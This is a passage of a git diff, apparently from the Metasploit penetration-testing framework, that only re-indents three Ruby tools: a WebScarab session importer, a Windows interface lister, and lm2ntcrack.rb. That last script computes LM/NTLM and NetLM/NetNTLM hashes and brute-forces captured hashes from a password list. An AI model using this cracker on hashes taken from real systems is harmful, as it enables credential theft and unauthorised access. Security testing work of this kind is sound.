you stored the webscarab session") + $stderr.puts("sqlite3database\t\tThe name of the database file") + $stderr.puts("target\t\t\tThe target (host or domain) you want to add to the database") + $stderr.puts("startrequest\tThe request to start with...") + $stderr.puts + $stderr.puts("Examples:") + $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db") + $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db www.example.com") + $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db example.com") + $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db www.example.com 21") + exit end ws_directory = ARGV.shift @@ -38,13 +38,13 @@ start_id = ARGV.shift.to_i || 1 # check if we have what we need... if File.exists?(ws_directory+ File::SEPARATOR) == false then - $stderr.puts("ERROR: Can't find webscarab directory #{ws_directory}.") - exit + $stderr.puts("ERROR: Can't find webscarab directory #{ws_directory}.") + exit end if File.file?(db_file) == false then - $stderr.puts("ERROR: Can't find sqlite3 database file #{db_file}.") - exit + $stderr.puts("ERROR: Can't find sqlite3 database file #{db_file}.") + exit end # Prepare the database @@ -53,7 +53,7 @@ database = SQLite3::Database.new(db_file) # Prepare the insert statement... insert_statement = database.prepare("INSERT INTO requests(host,port,ssl,meth,path,headers,query,body,respcode,resphead,response,created)" + - " VALUES(:host,:port,:ssl,:meth,:path,:headers,:query,:body,:respcode,:resphead,:response,:created)"); + " VALUES(:host,:port,:ssl,:meth,:path,:headers,:query,:body,:respcode,:resphead,:response,:created)"); # target hash -> Resolving dns names is soooo slow, I don't know why. So we use the # following hash as a "micro hosts", so we don't have to call getaddress each time... @@ -62,117 +62,117 @@ target_ips = {} # Try to open the conversationlog file File.open("#{ws_directory+File::SEPARATOR}conversationlog", "rb") do |log| - # regulare expressions to extract the stuff that we really need - # i know that the url stuff can be handeled in one request but - # i am toooo lazy... - regex_conversation = /^### Conversation : (\d+)/ - regex_datetime = /^WHEN: (\d+)/ - regex_method = /^METHOD: (\S+)/ - regex_status = /^STATUS: (\d\d\d)/ - regex_url = /^URL: (http|https)?:\/\/(\S+):(\d+)\/([^\?]*)\?*(\S*)/ + # regulare expressions to extract the stuff that we really need + # i know that the url stuff can be handeled in one request but + # i am toooo lazy... + regex_conversation = /^### Conversation : (\d+)/ + regex_datetime = /^WHEN: (\d+)/ + regex_method = /^METHOD: (\S+)/ + regex_status = /^STATUS: (\d\d\d)/ + regex_url = /^URL: (http|https)?:\/\/(\S+):(\d+)\/([^\?]*)\?*(\S*)/ - while line = log.gets - if line =~ regex_conversation then - conversation_id = regex_conversation.match(line)[1] - next if conversation_id.to_i < start_id + while line = log.gets + if line =~ regex_conversation then + conversation_id = regex_conversation.match(line)[1] + next if conversation_id.to_i < start_id - # we don't care about scripts, commets - while (line =~ regex_datetime) == nil - line = log.gets - end + # we don't care about scripts, commets + while (line =~ regex_datetime) == nil + line = log.gets + end - # Add a dot to the timestring so we can convert it more easily - date_time = regex_datetime.match(line)[1] - date_time = Time.at(date_time.insert(-4, '.').to_f) + # Add a dot to the timestring so we can convert it more easily + date_time = regex_datetime.match(line)[1] + date_time = Time.at(date_time.insert(-4, '.').to_f) - method = regex_method.match(log.gets)[1] + method = regex_method.match(log.gets)[1] - # we don't care about COOKIES - while (line =~ regex_status) == nil - line = log.gets - end - status = regex_status.match(line)[1] + # we don't care about COOKIES + while (line =~ regex_status) == nil + line = log.gets + end + status = regex_status.match(line)[1] - url_matcher = regex_url.match(log.gets) + url_matcher = regex_url.match(log.gets) - puts "Processing (#{conversation_id}): #{url_matcher[0]}" + puts "Processing (#{conversation_id}): #{url_matcher[0]}" - ssl = url_matcher[1] == "https" - host_name = url_matcher[2] - port = url_matcher[3] - path = url_matcher[4].chomp - query = url_matcher[5] + ssl = url_matcher[1] == "https" + host_name = url_matcher[2] + port = url_matcher[3] + path = url_matcher[4].chomp + query = url_matcher[5] - if host_name.match("#{target}$").nil? == true then - puts("Not the selected target, skipping...") - next - end + if host_name.match("#{target}$").nil? == true then + puts("Not the selected target, skipping...") + next + end - if(target_ips.has_key?(host_name)) then - host = target_ips[host_name] - else - ip = Resolv.getaddress(host_name) - target_ips[host_name] = ip - host = ip - end + if(target_ips.has_key?(host_name)) then + host = target_ips[host_name] + else + ip = Resolv.getaddress(host_name) + target_ips[host_name] = ip + host = ip + end - # set the parameters in the insert query - insert_statement.bind_param("host", host) - insert_statement.bind_param("port", port) - insert_statement.bind_param("ssl", ssl) - insert_statement.bind_param("meth", method) - insert_statement.bind_param("path", path) - insert_statement.bind_param("query", query) - insert_statement.bind_param("respcode", status) - insert_statement.bind_param("created", date_time) - insert_statement.bind_param("respcode", status) + # set the parameters in the insert query + insert_statement.bind_param("host", host) + insert_statement.bind_param("port", port) + insert_statement.bind_param("ssl", ssl) + insert_statement.bind_param("meth", method) + insert_statement.bind_param("path", path) + insert_statement.bind_param("query", query) + insert_statement.bind_param("respcode", status) + insert_statement.bind_param("created", date_time) + insert_statement.bind_param("respcode", status) - #Open the files with the requests and the responses... - request_filename = "#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-request" - puts("Reading #{request_filename}") - request_file = File.open(request_filename, "rb") + #Open the files with the requests and the responses... + request_filename = "#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-request" + puts("Reading #{request_filename}") + request_file = File.open(request_filename, "rb") - # Analyse the request - request_header = "" - request_file.gets # we don't need the return code... - while(request_line = request_file.gets) do - request_header += request_line - break if request_line == "\r\n" - end + # Analyse the request + request_header = "" + request_file.gets # we don't need the return code... + while(request_line = request_file.gets) do + request_header += request_line + break if request_line == "\r\n" + end - request_body = "" - while(request_line = request_file.gets) do - request_body += request_line - end + request_body = "" + while(request_line = request_file.gets) do + request_body += request_line + end - insert_statement.bind_param("headers", request_header) - insert_statement.bind_param("body", request_body) + insert_statement.bind_param("headers", request_header) + insert_statement.bind_param("body", request_body) - request_file.close() + request_file.close() - response_filename = "#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-response" - puts("Reading #{response_filename}") - response_file = File.open("#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-response", "rb") + response_filename = "#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-response" + puts("Reading #{response_filename}") + response_file = File.open("#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-response", "rb") - # scip the first line - response_file.gets + # scip the first line + response_file.gets - # Analyse the response - response_header = "" - while(response_line = response_file.gets) do - response_header += response_line - break if response_line == "\r\n" - end + # Analyse the response + response_header = "" + while(response_line = response_file.gets) do + response_header += response_line + break if response_line == "\r\n" + end - response_body = response_file.read + response_body = response_file.read - insert_statement.bind_param("resphead", response_header) - insert_statement.bind_param("response", response_body) + insert_statement.bind_param("resphead", response_header) + insert_statement.bind_param("response", response_body) - response_file.close() + response_file.close() - insert_statement.execute() - end - end + insert_statement.execute() + end + end end diff --git a/tools/list_interfaces.rb b/tools/list_interfaces.rb index 34f53de112..174b42d73d 100755 --- a/tools/list_interfaces.rb +++ b/tools/list_interfaces.rb @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -22,50 +22,50 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] if RUBY_PLATFORM == "i386-mingw32" - begin - require 'network_interface' - rescue ::Exception => e - $stderr.puts "Error: NetworkInterface is not installed..." - exit - end + begin + require 'network_interface' + rescue ::Exception => e + $stderr.puts "Error: NetworkInterface is not installed..." + exit + end - unless ( - NetworkInterface.respond_to?(:interfaces) and - NetworkInterface.respond_to?(:addresses) and - NetworkInterface.respond_to?(:interface_info) - ) - $stderr.puts "Error: Looks like you are not running the latest version of NetworkInterface" - exit - end - found = false - NetworkInterface.interfaces.each_with_index do |iface, i| - found = true - detail = NetworkInterface.interface_info(iface) - addr = NetworkInterface.addresses(iface) - puts "#" * 70 - puts "" - puts "INDEX : " + (i + 1).to_s - puts "NAME : " + detail["name"] - puts "DESCRIPTION : " + detail["description"] - puts "GUID : " + detail["guid"] - if addr[NetworkInterface::AF_LINK][0]['addr'] - puts "MAC ADDRESS : #{addr[NetworkInterface::AF_LINK][0]['addr']}" - else - puts "MAC ADDRESS : NONE" - end - if addr[NetworkInterface::AF_INET][0]['addr'] and addr[NetworkInterface::AF_INET][0]['netmask'] - puts "IP ADDRESS : #{addr[NetworkInterface::AF_INET][0]['addr']}/#{addr[NetworkInterface::AF_INET][0]['netmask']}" - else - puts "IP ADDRESS : NONE" - end - puts "" - end - if found - puts "#" * 70 - else - $stderr.puts "Error, no network interfaces have been detected" - end + unless ( + NetworkInterface.respond_to?(:interfaces) and + NetworkInterface.respond_to?(:addresses) and + NetworkInterface.respond_to?(:interface_info) + ) + $stderr.puts "Error: Looks like you are not running the latest version of NetworkInterface" + exit + end + found = false + NetworkInterface.interfaces.each_with_index do |iface, i| + found = true + detail = NetworkInterface.interface_info(iface) + addr = NetworkInterface.addresses(iface) + puts "#" * 70 + puts "" + puts "INDEX : " + (i + 1).to_s + puts "NAME : " + detail["name"] + puts "DESCRIPTION : " + detail["description"] + puts "GUID : " + detail["guid"] + if addr[NetworkInterface::AF_LINK][0]['addr'] + puts "MAC ADDRESS : #{addr[NetworkInterface::AF_LINK][0]['addr']}" + else + puts "MAC ADDRESS : NONE" + end + if addr[NetworkInterface::AF_INET][0]['addr'] and addr[NetworkInterface::AF_INET][0]['netmask'] + puts "IP ADDRESS : #{addr[NetworkInterface::AF_INET][0]['addr']}/#{addr[NetworkInterface::AF_INET][0]['netmask']}" + else + puts "IP ADDRESS : NONE" + end + puts "" + end + if found + puts "#" * 70 + else + $stderr.puts "Error, no network interfaces have been detected" + end else - $stderr.puts "Error: This script is useful only on Windows, under other OS just use the built-in commands (ifconfig, ip link show, ...)" - exit + $stderr.puts "Error: This script is useful only on Windows, under other OS just use the built-in commands (ifconfig, ip link show, ...)" + exit end diff --git a/tools/lm2ntcrack.rb b/tools/lm2ntcrack.rb index 9bd1893e42..7e24904feb 100755 --- a/tools/lm2ntcrack.rb +++ b/tools/lm2ntcrack.rb @@ -10,7 +10,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -29,849 +29,849 @@ HASH_MODE = 2 PASS_MODE = 3 def usage - $stderr.puts("\nUsage: #{$0} -t type <options>\n" + $args.usage) - $stderr.puts("This tool can be use in 3 ways whatever type is choosen\n") - $stderr.puts("-If only a password (-p) is provided, it will display the hash.\n") - $stderr.puts("-If a password (-p) and an hash (-a) is provided, it will test the password against the hash.\n") - $stderr.puts("-If a list of password (-l) is provided and an hash (-a), it will try to bruteforce the hash \n\n") - exit + $stderr.puts("\nUsage: #{$0} -t type <options>\n" + $args.usage) + $stderr.puts("This tool can be use in 3 ways whatever type is choosen\n") + $stderr.puts("-If only a password (-p) is provided, it will display the hash.\n") + $stderr.puts("-If a password (-p) and an hash (-a) is provided, it will test the password against the hash.\n") + $stderr.puts("-If a list of password (-l) is provided and an hash (-a), it will try to bruteforce the hash \n\n") + exit end def permute_pw(pw) - # fast permutation from http://stackoverflow.com/a/1398900 - perms = [""] - if pw.nil? - return perms - end - tail = pw.downcase - while tail.length > 0 do - head, tail, psize = tail[0..0], tail[1..-1], perms.size - hu = head.upcase - for i in (0...psize) - tp = perms[i] - perms[i] = tp + hu - if hu != head - perms.push(tp + head) - end - end - end - return perms + # fast permutation from http://stackoverflow.com/a/1398900 + perms = [""] + if pw.nil? + return perms + end + tail = pw.downcase + while tail.length > 0 do + head, tail, psize = tail[0..0], tail[1..-1], perms.size + hu = head.upcase + for i in (0...psize) + tp = perms[i] + perms[i] = tp + hu + if hu != head + perms.push(tp + head) + end + end + end + return perms end type = hash = pass = srvchal = clichal = calculatedhash = list = user = domain = nil $args = Rex::Parser::Arguments.new( - "-t" => [ true, "The type of hash to crack : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" ], - "-a" => [ true, "The hash to crack" ], - "-p" => [ true, "The password " ], - "-l" => [ true, "The list of password to check against an hash" ], - "-s" => [ true, "The LM/NTLM Server Challenge (NET* type only)" ], - "-c" => [ true, "The LM/NTLM Client Challenge (NETNTLM2_SESSION/NETLMv2/NETNTLMv2/ type only)" ], - "-u" => [ true, "The user name (NETLMv2/NETNTLMv2 type only)" ], - "-d" => [ true, "The domain (machine) name (NETLMv2/NETNTLMv2 type only)" ], - "-h" => [ false, "Display this help information" ]) + "-t" => [ true, "The type of hash to crack : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" ], + "-a" => [ true, "The hash to crack" ], + "-p" => [ true, "The password " ], + "-l" => [ true, "The list of password to check against an hash" ], + "-s" => [ true, "The LM/NTLM Server Challenge (NET* type only)" ], + "-c" => [ true, "The LM/NTLM Client Challenge (NETNTLM2_SESSION/NETLMv2/NETNTLMv2/ type only)" ], + "-u" => [ true, "The user name (NETLMv2/NETNTLMv2 type only)" ], + "-d" => [ true, "The domain (machine) name (NETLMv2/NETNTLMv2 type only)" ], + "-h" => [ false, "Display this help information" ]) $args.parse(ARGV) { |opt, idx, val| - case opt - when "-t" - type = val - when "-a" - hash = val - when "-p" - pass = val - when "-l" - list = val - when "-s" - srvchal = val - when "-c" - clichal = val - when "-u" - user = val - when "-d" - domain = val - when "-h" - usage - else - usage - end + case opt + when "-t" + type = val + when "-a" + hash = val + when "-p" + pass = val + when "-l" + list = val + when "-s" + srvchal = val + when "-c" + clichal = val + when "-u" + user = val + when "-d" + domain = val + when "-h" + usage + else + usage + end } if not type - usage + usage else - if pass and (not (hash or list)) - mode = HASH_MODE - elsif pass and hash and not list - mode = PASS_MODE - elsif list and hash and not pass - mode = BRUTE_MODE - if not File.exist? list - $stderr.puts "[*] The passwords list file does not exist" - exit - end - if not File.file? list - $stderr.puts "[*] The passwords list provided is not a file" - exit - end - if not File.readable? list - $stderr.puts "[*] The passwords list file is not readable" - exit - end - else - usage - end + if pass and (not (hash or list)) + mode = HASH_MODE + elsif pass and hash and not list + mode = PASS_MODE + elsif list and hash and not pass + mode = BRUTE_MODE + if not File.exist? list + $stderr.puts "[*] The passwords list file does not exist" + exit + end + if not File.file? list + $stderr.puts "[*] The passwords list provided is not a file" + exit + end + if not File.readable? list + $stderr.puts "[*] The passwords list file is not readable" + exit + end + else + usage + end end if type == "HALFLM" or type == "LM" or type == "NTLM" then - if srvchal != nil or clichal != nil or user != nil or domain != nil then - $stderr.puts "[*] No challenge, user or domain must be provided with this type" - exit - end + if srvchal != nil or clichal != nil or user != nil or domain != nil then + $stderr.puts "[*] No challenge, user or domain must be provided with this type" + exit + end elsif type == "HALFNETLMv1" or type == "NETLMv1" or type == "NETNTLMv1" then - if clichal != nil or user != nil or domain != nil then - $stderr.puts "[*] Client challenge, user or domain must not be provided with this type" - exit - end + if clichal != nil or user != nil or domain != nil then + $stderr.puts "[*] Client challenge, user or domain must not be provided with this type" + exit + end elsif type == "NETNTLM2_SESSION" then - if user != nil or domain != nil then - $stderr.puts "[*] User or domain must not be provided with this type" - exit - end + if user != nil or domain != nil then + $stderr.puts "[*] User or domain must not be provided with this type" + exit + end end case type when "HALFLM" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] HALFLM HASH must be exactly 16 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - if password =~ /^.{1,7}$/ - puts password - calculatedhash = CRYPT::lm_hash(password,true).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{password.upcase}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not pass =~ /^.{0,7}$/ - $stderr.puts "[*] LM password can not be bigger then 7 characters" - exit - end - calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase - puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}" - exit - when PASS_MODE - if not pass =~ /^.{0,7}$/ - $stderr.puts "[*] LM password can not be bigger then 7 characters" - exit - end - if not hash =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] LM HASH must be exactly 16 bytes of hexadecimal" - exit - end - calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{pass.upcase}" - exit - else - puts "[*] Incorrect password provided : #{pass.upcase}" - exit - end - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] HALFLM HASH must be exactly 16 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + if password =~ /^.{1,7}$/ + puts password + calculatedhash = CRYPT::lm_hash(password,true).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{password.upcase}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not pass =~ /^.{0,7}$/ + $stderr.puts "[*] LM password can not be bigger then 7 characters" + exit + end + calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase + puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}" + exit + when PASS_MODE + if not pass =~ /^.{0,7}$/ + $stderr.puts "[*] LM password can not be bigger then 7 characters" + exit + end + if not hash =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] LM HASH must be exactly 16 bytes of hexadecimal" + exit + end + calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{pass.upcase}" + exit + else + puts "[*] Incorrect password provided : #{pass.upcase}" + exit + end + end when "LM" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - if password =~ /^.{1,14}$/ - puts password - calculatedhash = CRYPT::lm_hash(password.upcase).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{password.upcase}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not pass =~ /^.{0,14}$/ - $stderr.puts "[*] LM password can not be bigger then 14 characters" - exit - end - calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase - puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}" - exit - when PASS_MODE - if not pass =~ /^.{0,14}$/ - $stderr.puts "[*] LM password can not be bigger then 14 characters" - exit - end - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal" - exit - end - calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{pass.upcase}" - exit - else - puts "[*] Incorrect password provided : #{pass.upcase}" - exit - end - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + if password =~ /^.{1,14}$/ + puts password + calculatedhash = CRYPT::lm_hash(password.upcase).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{password.upcase}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not pass =~ /^.{0,14}$/ + $stderr.puts "[*] LM password can not be bigger then 14 characters" + exit + end + calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase + puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}" + exit + when PASS_MODE + if not pass =~ /^.{0,14}$/ + $stderr.puts "[*] LM password can not be bigger then 14 characters" + exit + end + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal" + exit + end + calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{pass.upcase}" + exit + else + puts "[*] Incorrect password provided : #{pass.upcase}" + exit + end + end when "NTLM" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - for permutedpw in permute_pw(password) - puts permutedpw - calculatedhash = CRYPT::ntlm_hash(permutedpw).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{permutedpw}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - calculatedhash = CRYPT::ntlm_hash(pass).unpack("H*")[0].upcase - puts "[*] The NTLM hash for #{pass} is : #{calculatedhash}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal" - exit - end - for permutedpw in permute_pw(pass) - calculatedhash = CRYPT::ntlm_hash(permutedpw).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{permutedpw}" - exit - end - end - puts "[*] Incorrect password provided : #{pass}" - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + for permutedpw in permute_pw(password) + puts permutedpw + calculatedhash = CRYPT::ntlm_hash(permutedpw).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{permutedpw}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + calculatedhash = CRYPT::ntlm_hash(pass).unpack("H*")[0].upcase + puts "[*] The NTLM hash for #{pass} is : #{calculatedhash}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal" + exit + end + for permutedpw in permute_pw(pass) + calculatedhash = CRYPT::ntlm_hash(permutedpw).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{permutedpw}" + exit + end + end + puts "[*] Incorrect password provided : #{pass}" + end when "HALFNETLMv1" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] NETLMv1 HASH must be exactly 16 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - if password =~ /^.{1,7}$/ - puts password - #Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one - arglm = { :lm_hash => CRYPT::lm_hash(password,true)[0,7], - :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{password.upcase}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not pass =~ /^.{0,7}$/ - $stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7], - :challenge => [ srvchal ].pack("H*") } + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] NETLMv1 HASH must be exactly 16 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + if password =~ /^.{1,7}$/ + puts password + #Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one + arglm = { :lm_hash => CRYPT::lm_hash(password,true)[0,7], + :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{password.upcase}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not pass =~ /^.{0,7}$/ + $stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7], + :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase - puts "[*] The HALFNETLMv1 hash for #{pass.upcase} is : #{calculatedhash}" - exit - when PASS_MODE - if not pass =~ /^.{0,7}$/ - $stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters" - exit - end - if not hash =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] HALFNETLMv1 HASH must be exactly 16 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - #Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one - arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7], - :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase + puts "[*] The HALFNETLMv1 hash for #{pass.upcase} is : #{calculatedhash}" + exit + when PASS_MODE + if not pass =~ /^.{0,7}$/ + $stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters" + exit + end + if not hash =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] HALFNETLMv1 HASH must be exactly 16 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + #Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one + arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7], + :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{pass.upcase}" - exit - else - puts "[*] Incorrect password provided : #{pass.upcase}" - exit - end - end + calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{pass.upcase}" + exit + else + puts "[*] Incorrect password provided : #{pass.upcase}" + exit + end + end when "NETLMv1" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - if password =~ /^.{1,14}$/ - puts password - arglm = { :lm_hash => CRYPT::lm_hash(password), - :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{password.upcase}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not pass =~ /^.{1,14}$/ - $stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - arglm = { :lm_hash => CRYPT::lm_hash(pass), - :challenge => [ srvchal ].pack("H*") } + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + if password =~ /^.{1,14}$/ + puts password + 